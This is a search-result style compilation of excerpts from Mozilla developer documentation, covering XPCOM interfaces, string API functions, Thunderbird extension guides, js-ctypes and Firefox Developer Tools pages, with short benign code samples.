idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "senders" have a single "other side" to which messages are sent.
...send messagename and obj to the "other side" of this message manager.
nsITelemetry
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedst...
...returns false if the user has not opted into "extended telemetry" on the release channel, when the user has explicitly opted out of telemetry on nightly/aurora/beta or if manually set to false during tests.
nsIToolkitProfileService
to access the service, you can use the following code: var toolkitprofileservice = components.classes["@mozilla.org/toolkit/profile-service;1"] .createinstance(components.interfaces.nsitoolkitprofileservice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile service.
... selectedprofile nsitoolkitprofile the profile that is marked as "default=1" in the profiles.ini file.
nsITreeSelection
selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods.
... shiftselectpivot long the selection "pivot".
nsITreeView
for example: getrowproperties: function(index) { return "dummy"; } obsolete since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature is obsolete.
...to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var atomservice = components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiatomservice); var atom = atomservice.getatom("dummy"); properties.appendelement(atom); } hasnextsibling() used to determine if the row at rowindex has a nextsibling that occurs after the index specified by afterindex.
nsIURIFixup
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/docshell/urifixup;1 as a service: var urifixup = components.classes["@mozilla.org/docshell/urifixup;1"] .createinstance(components.interfaces.nsiurifixup); method overview nsiuri createexposableuri(in nsiuri auri); nsiuri createfixupuri(in autf8string auritext, in unsigned long afixupflags); nsiuri keywordtouri(in autf8string akeyword); nsiurifixupinfo getfixupuriinfo(in autf8string auritext, in unsigned long afixupflags); constants constant value description...
...whether we could rescue the uri or "just" generated a keyword search uri instead).
nsIURIFixupInfo
"foo bar"!).
...potentially adding a prefix and/or suffix; set by the browser.fixup.alternate.prefix and .suffix prefs, their defaults "www." and ".com", respectively.
nsIURLFormatter
if the preference value cannot be retrieved, a fatal error is reported and the "about:blank" url is returned.
... return value the formatted url returned by formaturl(), or "about:blank".
nsIUUIDGenerator
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by @mozilla.org/uuid-generator; as a service: var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getservice(components.interfaces.nsiuuidgenerator); method overview nsidptr generateuuid(); void generateuuidinplace(in nsnonconstidptr id); native code only!
... exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) example generating a uuid var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getservice(components.interfaces.nsiuuidgenerator); var uuid = uuidgenerator.generateuuid(); var uuidstring = uuid.tostring(); ...
nsIUpdatePatch
type astring the type of patch represented by the object: "partial" a binary difference between two application versions.
... "complete" a complete patch containing all the replacement files to update to the new version.
nsIWebSocketChannel
to create an instance, use: var websocketchannel = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiwebsocketchannel); method overview void asyncopen(in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext); void close(in unsigned short acode, in autf8string areason); void sendbinarymsg(in acstring amsg); void sen...
...this is used in the case of a redirect or uri "resolution" (for example resolving a resource: uri to a file: uri) so that the original pre-redirect uri can still be obtained.
nsIWifiAccessPoint
this string is in the format "xx-xx-xx-xx-xx-xx".
...note: this is a conversion of the ssid into a "displayable" string.
nsIXULRuntime
to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running.
... example display the user's operating system in an alert box: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); alert(xulruntime.os); see also nsixulappinfo - a related interface providing information about the host application, it's also implemented by xre/app-info.
nsIXULTemplateQueryProcessor
the reference variable may be specified in a template by setting the "container" attribute on the <template> element to the variable to use.
... the member variable may be specified in a similar way using the "member" attribute, or it may be specified in the first <action> body in the template as the value of a uri attribute on an element.
NS_ERROR
summary macro throws a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (stderr) and to debug logs (nspr logging).
...syntax ns_error("error text"); ...
NS_CStringAppendData
#include "nsstringapi.h" nsresult ns_cstringappenddata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... example nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringappenddata(str, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringCutData
#include "nsstringapi.h" nsresult ns_cstringcutdata( nsacstring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsacstring instance to be modified.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello world"); // remove " world" portion of string ns_cstringcutdata(str, 5, pr_uint32_max); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringInsertData
#include "nsstringapi.h" nsresult ns_cstringinsertdata( nsacstring& astring, pruint32 aoffset, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringinsertdata(str, 5, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringSetData
#include "nsstringapi.h" nsresult ns_cstringsetdata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
... example nscstringcontainer str; rv = ns_cstringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_cstringsetdata(str, "hello world"); if (ns_succeeded(rv)) { // now, pass |str| to some function expecting a |const nsacstring&| parameter.
NS_CStringToUTF16
#include "nsstringapi.h" nsresult ns_cstringtoutf16( const nsacstring& asrc, nscstringencoding asrcencoding, nsastring& adest ); parameters asrc [in] a nsacstring instance containing the source string to be converted.
... example code nsembedcstring str("hello"); nsembedstring ustr; ns_cstringtoutf16(str, ns_cstring_encoding_ascii, ustr); const prunichar *unicharbuf = ustr.get(); history this function was frozen for mozilla 1.7.
NS_StringAppendData
#include "nsstringapi.h" nsresult ns_stringappenddata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to be modified.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringappenddata(str, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringCutData
#include "nsstringapi.h" nsresult ns_stringcutdata( nsastring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsastring instance to be modified.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello world"); // remove " world" portion of string ns_stringcutdata(str, 5, pr_uint32_max); const prunichar* data; ns_stringgetdata(str, &data); // data now ponts to the string: l"hello" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringInsertData
#include "nsstringapi.h" nsresult ns_stringinsertdata( nsacstring& astring, pruint32 aoffset, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringinsertdata(str, 5, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringSetData
#include "nsstringapi.h" nsresult ns_stringsetdata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
... example code nsstringcontainer str; rv = ns_stringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_stringsetdata(str, "hello world"); if (ns_succeeded(rv)) { // now, pass |str| to some function expecting a |const nsastring&| parameter.
XPCOM Thread Synchronization
prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ...
... } new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
Using IndexedDB in chrome
(see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
... if you are creating a sandbox, and want indexeddb to be available in it, use the wantglobalproperties option in the sandbox constructor: var options = { "wantglobalproperties": ["indexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
Getting Started Guide
nscomptr is a "smart pointer".
... it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at.
Weak reference
#include "nsweakptr.h" #include "nsiweakreferenceutils.h" // ...
...#include "nsweakreference.h" class nsfoo : public nsifoo, ..., public nssupportsweakreference { ...
Working with out parameters
adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call.
...assuming you have an object called transferable, you would invoke gettransferdata() as follows: var adata = {}; var adatalen = {}; transferable.gettransferdata("text/unicode", adata, adatalen); var data = adata.value; var datalen = adatalen.value; as you can see, after the call to gettransferdata(), the out values are then contained in the value properties of adata and adatalen.
XPCOM category image-sniffing-services
in firefox 3, a new xpcom category was added in bug 391667 to allow "third-party" xpcom components to identify images based on their content.
... if mozilla's built-in image code cannot identify an image, then any xpcom components implementing the nsicontentsniffer interface may register under the "image-sniffing-services" category, and will be queried to determine the mime type of the image being downloaded.
XPCOM tasks
p3 i/o functionality (except for the filespec facility) probably doesn't belong in xpcom; perhaps it should be moved to netwerk p3 the `twips' units routines (or perhaps all routines) in "nsunitconversion.h" probably belong in layout.
...macros in "nsisupportsutils.h".
XPCOM
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
XPIDL
attributes can be declared readonly, in which case setting causes an error to be thrown in script contexts and native contexts lack the set method, by using the "readonly" keyword.
... binaryname(foo) y y results in the c++ method being called "foo" y n implicit_jscontext y y adds an additional jscontext *cx parameter to the c++ implementation y y noscript y y prohibits the method/attribute from being accessible in js code n n nostdcall y y the c++ implementation uses virtual nsresult instead of ns_imethod/ns_imethodimp y y notxpcom y y the c+...
Test-Info
running test-info locally "test-info" is a mach command and can be run from any source tree.
... test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
MailNews Filters
the search is executed locally, not on the server, so that criteria like "in address book" still work.
... finally, add protocol-specific code to apply your filter action in the various applyfilterhit methods imap pop3 news and "after the fact" since seamonkey and thunderbird share the filter code, you will also need to update the seamonkey .dtd and .property files.
Mailnews and Mail code review requirements
rubber-stamp approvals for intermittently failing ("orange") test fixes/debugging in order to make it easier to debug and fix tests that fail intermittently ("intermittent orange" tests), we have created the following two rubber-stamps based on this proposal on the tb-planning mailing list.
... the procedure to use these is to be sure to: include "rs=simple-orange-fix" or "rs=orange-debugging" in the first line of the commit message paste a link to the pushed commit with the rubber stamp in the bug make sure you pasted a link to any try-server pushes of the patch in the bug rs=simple-orange-fix requirements: the patch is fixing an intermittent orange test failure.
Thunderbird Binaries
branches are "forks" in the code, split from the trunk and destined to become end-user releases.
... distinguishing between different nightly builds the main way you can determine if you are using a trunk or branch build is to click the "help" menu and choose "about".
Building a Thunderbird extension 1: introduction
these are described on the page "setting up an extension development environment".
... documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("comm-central" contains the thunderbird code repository) community the thunderbird development community has a mailing list with an extensive searchable archive with an extensive searchable archive.
Building a Thunderbird extension 6: Adding JavaScript
window.addeventlistener("load", function(e) { startup(); }, false); window.setinterval( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementbyid("my-panel"); var date = new date(); var day = date.getday(); var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the first par...
...finally the label of our panel is set to "date: " and concatenated with the date string that contains the formatted date.
Access StringBundle from Overlay
the most efficient way to append these strings is by attaching them to an existing stringbundleset as such: <stringbundleset id="stringbundleset"> <stringbundle src="chrome://your_extension/locale/overlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) altern...
...ative way let stringbundleservice = cc["@mozilla.org/intl/stringbundle;1"].getservice(ci.nsistringbundleservice); let bundle = stringbundleservice.createbundle("chrome://your_extension/locale/overlay.properties"); let str = bundle.getstringfromname("propertyname"); see nsistringbundleservice ...
Add Option to Context Menu
for thunderbird 2 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="messagepanecontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </menupopup> </overlay> for thunderbird 3 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option conc...
...ise and cool label" oncommand="alert('hi')"/> </popup> </overlay> for thunderbird 2 and 3 in the same xpi if our extension needs to support thunderbird 2 and 3 we need to make custom overlays for each version.
Filter Incoming Mail
by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript.
... by example, setting it to lower case subject = subject.tolocalelowercase(); // then we rebuild a subject objet by rencoding the string // and assign it to the message headers and we're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/msgnotificationservice;1"] .getservice(components.interfaces.nsimsgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
Get Thunderbird version
(version 3.0b3pre was the first build to include steel.) var versionchecker = components.classes["@mozilla.org/xpcom/version-comparator;1"].getservice(components.interfaces.nsiversioncomparator); if (versionchecker.compare(application.version, "3.0b4") >= 0) // code for >= 3.0b4 else // code for < 3.0b4 for versions prior to 3.0b3pre, you can use something like this: var version; if ( "@mozilla.org/xre/app-info;1" in components.classes ) version = components.classes["@mozilla.org/xre/app-info; 1"].getservice(components.interfaces.nsixulappinfo).version; else version = components.classes["@mozilla.org/preferences-service; 1"].getservice(components.interfaces.nsiprefbran...
...ch).getcharpref ("app.version"); var versionchecker = components.classes["@mozilla.org/xpcom/version- comparator;1"].getservice(components.interfaces.nsiversioncomparator); if ( versionchecker.compare( version, "3.0b3" ) >= 0 ) // code for >= 3.0b3 else // code for < 3.0b3 ...
Theme Packaging
install.rdf your install.rdf manifest will look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:type>4</em:type> more properties </description> </rdf> required install.rdf properties your install.rdf file must have the following properties.
... sample install.rdf file <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{18b64b56-d42f-428d-a88c-baa413bc413f}</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this extension can install into, with minimum and maximum supported versio...
libmime content type handlers
register by their content type prefixed by the * following: mimecth:text/vcard * * libmime will then use nscomponentmanager::contractidtoclsid() to * locate the appropriate content type handler */ #ifndef nsimimecontenttypehandler_h_ #define nsimimecontenttypehandler_h_ typedef struct { prbool force_inline_display; } contenttypehandlerinitstruct; #include "prtypes.h" #include "nsisupports.h" #include "mimecth.h" // {20dabd99-f8b5-11d2-8ee0-00a024a7d144} #define ns_imime_content_type_handler_iid \ { 0x20dabd99, 0xf8b5, 0x11d2, \ { 0x8e, 0xe0, 0x0, 0xa0, 0x24, 0xa7, 0xd1, 0x44 } } class nsimimecontenttypehandler : public nsisupports { public: static const nsiid& getiid() { static nsiid iid = ns_imime_content_type_handler_iid; ...
... sample content type handler plugin to see an example of a content type handler plugin, the source for the handler of the content type "text/calendar" can be viewed at the following link: calendar plugin note: this plugin simply creates a blue table in the output stream to identify the fact that it is operational, but the basic constructs of what is needed to build a functional content type handler can be seen.
Using the Mozilla symbol server
the rest of values are based on the contents of the application.ini file under the [app] heading: for example, the thunderbird 3.1b2 release with name=thunderbird, version=3.1b2, buildid=20100430125415 would have a filename of "thunderbird-3.1b2-linux-20100430125415-symbols.txt" under the thunderbird directory at symbols.mozilla.org.
...check the file menu of internet explorer to ensure "work offline" is unchecked.
XPI
xpi modules (so called "bundles") are employed to install a wide variety of software, including plugins, extensions, themes, and thunderbird dictionaries.
... xpi archives only support files stored uncompressed or compressed using the "deflate" method.
Using C struct and pointers
declaring a js-ctypes struct matching a c struct if we have a c structure like this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype ...
... once we have a ctypes char pointer that points to a buffer of known size, we modiify the contents of the memory block as follows: ptr.contents = string("hello world from javascript!!!"); string() adds the '\0' character.
Declaring and Using Callbacks
the return type of the javascript callback must match the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type".
...the sentinel value must be convertible to the return type of the callback: function myjscallback() { throw "uh oh"; }; var callback1 = funcptrtype(myjscallback, null, -1); // returns -1 to the native caller when the exception is thrown.
Declaring and Calling Functions
const clock = lib.declare("clock", ctypes.default_abi, ctypes.unsigned_long); console.log("clocks since startup: " + clock()); the clock() function requires no input parameters; it simply returns an unsigned long.
... const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a more complete version of this example (including the implementation of the struct_tm type), see the structures example.
ABI
http://en.wikipedia.org/wiki/x86_calling_conventions abi abi stands for "application binary interface".
... method overview string tosource() string tostring() methods tosource() returns the string "ctypes.***_abi".
PointerType
examples creating a type "pointer to 32-bit integer" looks like this: var intptrtype = new ctypes.pointertype(ctypes.int32_t); properties property type description targettype ctype the type of object the pointer points to.
... ptr ctype returns a ctype representing the data type "pointer to this type".
UInt64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
...type is "' + ccon + '"'); } } } } function uint64_add(...uint64) { ensureuint64(uint64); var hi = uint64.hi(uint64[0]); var lo = uint64.lo(uint64[0]);; for (var i=1; i<uint64.length; i++) { hi += uint64.hi(uint64[i]); lo += uint64.lo(uint64[i]); if (lo > 0x100000000) { hi += 1...
Flash Activation: Browser Comparison - Plugins
gin is activated: function plugincreated() { // we don't need to see the plugin, so hide it by resizing var plugin = document.getelementbyid('myplugin'); plugin.height = 0; plugin.width = 0; plugin.callpluginmethod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is visible --> <object type="application/x-shockwave-flash" data="myapp.swf" id="myplugin" width="300" height="300"> <param name="callback" value="plugincreated()"> </object> the callback parameter defined in the html can be called in flash using its flash.external.externalinterface api.
... first, set your up your html with a callback that calls the javascript function plugincreated(), like this: <object type="application/x-my-plugin" data="somedata.mytype" id="myplugin"> <param name="callback" value="plugincreated()"> </object> the plugincreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make: function plugincreated() { document.getelementbyid('myplugin').callpluginmethod(); } ...
Initialization and Destruction - Plugins
for example, the following embed element has the standard attributes src, height, and width and the private attribute loop: <embed src="movie.avi" height="100" width="100" loop="true"> with the embed element in the example, the browser passes the values in argv to the plug-in instance: argc = 4 argn = { "src", "height", "width", "loop" } argv = { "movie.avi", "100", "100", "true" } the saved parameter allows an instance of a plug-in to save its data and, when the instance is destroyed, pass the data to the next instance of the...
... to ensure that the browser does not crash or leak memory when the saved data is discarded, the buf field should be a flat structure (a simple structure with no allocated substructures) allocated with npn_memalloc, as in this example: char* mydata = "here is some saved data.\n"; int32 mylength = strlen(mydata) + 1; *save = (npsaveddata*) npn_memalloc(sizeof(npsaveddata)); (*save)->len = mylength; (*save)->buf = (void*) npn_memalloc(mylength); strcpy((*save)->buf, mydata); if you allocate saved instance data in npp_destroy, be sure to allocate memory with this function, since the browser can delete the saved data with the equivalent of n...
DOM Inspector FAQ - Firefox Developer Tools
for example, if you search nodes' tags for "tab", you'll get matches for tabpanel and tabbox as well as tab.
... to restrict the search, you can use the beginning-of-string and end-of-string markers; e.g., searching nodes for "^tab$" will return only nodes whose names are exactly "tab".
DOM Inspector - Firefox Developer Tools
or, build thunderbird yourself with the following options: ac_add_options --enable-extensions="default inspector" ac_add_options --enable-inspector-apis mozilla suite and seamonkey select tools > web development > dom inspector.
... report a bug in dom inspector use the conveniently named "dom inspector" component in bugzilla.
Access debugging in add-ons - Firefox Developer Tools
the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
... window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Open the debugger - Firefox Developer Tools
there are three ways to open the debugger: select "debugger" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press ctrl + shift + z on windows and linux, or cmd + opt + z on macos (starting in firefox 71; prior to firefox 66, the letter in this shortcut was s).
... press the menu button ( ), select "developer", then "debugger".
Pretty-print a minified file - Firefox Developer Tools
the debugger formats the source and displays it as a new file with a name like: "{ } [original-name]".
... after you click the icon, the source code looks like this: the pretty print source icon is available only if the source file is minified (i.e., not an original file), and is not already "prettified".
Search - Firefox Developer Tools
the default sort order is by the order in the file but you can simplify the search by click on "sort by name" at the bottom of the tab.
...for example, if i enter "load" when viewing the above list, i get the following: only the functions with load in their name are shown.
Set watch expressions - Firefox Developer Tools
to set a watch expression, expand the watch expressions sidebar, then click "add watch expression." type the expression you'd like to watch into the text field.
...you can remove a watch expression by clicking the "x" icon next to it, and you can have more than one watch expression at a time.
Set a conditional breakpoint - Firefox Developer Tools
to set a conditional breakpoint, activate the context menu in the source pane, on the line where you want the breakpoint, and select "add conditional breakpoint".
... if you context-click on any breakpoint, you'll see a menu item "edit breakpoint".
Use a source map - Firefox Developer Tools
this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript.
... the compiled source contains a comment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Debugger.Environment - Firefox Developer Tools
both "object" and "with" environments have object properties that provide the object whose properties they reflect as variable bindings.
... this is not an invocation function; if this call would cause debuggee code to run (say, because the environment is a "with" environment, andname refers to an accessor property of the with statement’s operand), this call throws a debugger.debuggeewouldrun exception.
Tutorial: Set a breakpoint - Firefox Developer Tools
save the following text to an html file: <div onclick="report('the best div');">click me!</div> <div onclick="report('another great div');">or me!</div> <script> function report(what) { console.log('clicked: ' + what); } </script> visit the html file in your browser, and open the browser content toolbox by opening the firefox menu, choosing “web developer”, and then “browser content toolbox”.
... click on the scratchpad panel and enter the following code: components.utils.import("resource://gre/modules/jsdebugger.jsm"); components.utils.import("resource://gre/modules/console.jsm"); // this simply defines 'debugger' in this scratchpad; // it doesn't actually start debugging anything.
All keyboard shortcuts - Firefox Developer Tools
f the toolbox is in a separate window and not in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 close toolbox (if the toolbox is in a separate window and in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 open web console 1 ctrl + shift + k cmd + opt + k ctrl + shift + k toggle "pick an element from the page" (opens the toolbox and/or focus the inspector tab) ctrl + shift + c cmd + opt + c ctrl + shift + c open style editor shift + f7 shift + f7 * shift + f7 open profiler shift + f5 shift + f5 * shift + f5 open network monitor 2 ctrl + shift + e cmd + opt + e ctrl + shift + e toggle responsive design ...
... to select these, visit about:config, select the setting devtools.editor.keymap, and assign "vim" or "emacs", or "sublime" to that setting.
DOM allocation example - Firefox Developer Tools
it just contains a script that creates a large number of dom nodes: var toolbarbuttoncount = 20; var toolbarcount = 200; function getrandomint(min, max) { return math.floor(math.random() * (max - min + 1)) + min; } function createtoolbarbutton() { var toolbarbutton = document.createelement("span"); toolbarbutton.classlist.add("toolbarbutton"); // stop spidermonkey from sharing instances toolbarbutton[getrandomint(0,5000)] = "foo"; return toolbarbutton; } function createtoolbar() { var toolbar = document.createelement("div"); // stop spidermonkey from sharing instances toolbar[getrandomint(0,5000)] = "foo"; for (var i = 0; i < toolbarbuttoncount; i++) { var toolba...
...rbutton = createtoolbarbutton(); toolbar.appendchild(toolbarbutton); } return toolbar; } function createtoolbars() { var container = document.getelementbyid("container"); for (var i = 0; i < toolbarcount; i++) { var toolbar = createtoolbar(); container.appendchild(toolbar); } } createtoolbars(); a simple pseudocode representation of how this code operates looks like this: createtoolbars() -> createtoolbar() // called 200 times, creates 1 div element each time -> createtoolbarbutton() // called 20 times per toolbar, creates 1 span element each time in total, then, it creates 200 htmldivelement objects, and 4000 htmlspanelement objects.
Dominators - Firefox Developer Tools
the graph starts at a root node, indicated in these diagrams with "r".
...retained size is an important concept in analyzing memory usage, because it answers the question "if this object ceases to exist, what's the total amount of memory freed?".
Monster example - Firefox Developer Tools
here's the code: var monster_count = 5000; var min_name_length = 2; var max_name_length = 48; function monster() { function randomint(min, max) { return math.floor(math.random() * (max - min + 1)) + min; } function randomname() { var chars = "abcdefghijklmnopqrstuvwxyz"; var namelength = randomint(min_name_length, max_name_length); var name = ""; for (var j = 0; j &lt; namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; } this.name = randomname(); this.eyecount = randomint(0, 25); this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { "fr...
...iendly": [], "fierce": [], "undecided": [] }; for (var i = 0; i &lt; monster_count; i++) { monsters.friendly.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.fierce.push(new monster()); } for (var i = 0; i &lt; monster_count; i++) { monsters.undecided.push(new monster()); } console.log(monsters); } var makemonstersbutton = document.getelementbyid("make-monsters"); makemonstersbutton.addeventlistener("click", makemonsters); the page contains a button: when you push the button, the code creates some monsters.
Network Monitor - Firefox Developer Tools
select "network" from the web developer menu, (which is a submenu of the tools menu on os x and linux).
... click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "network".
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
the layout flex container section the css pane's layout view includes a collapsible "flex container" section.
... if you expand the section without selecting a flexbox container, it will only display the message, "select a flex container or item to continue".
Select an element - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse around the elements listed in the html pane, the corresponding elements are highlighted in the page.
... with the node picker to select an element in the page itself, activate the "node picker" by clicking its icon: (also called the select element icon).
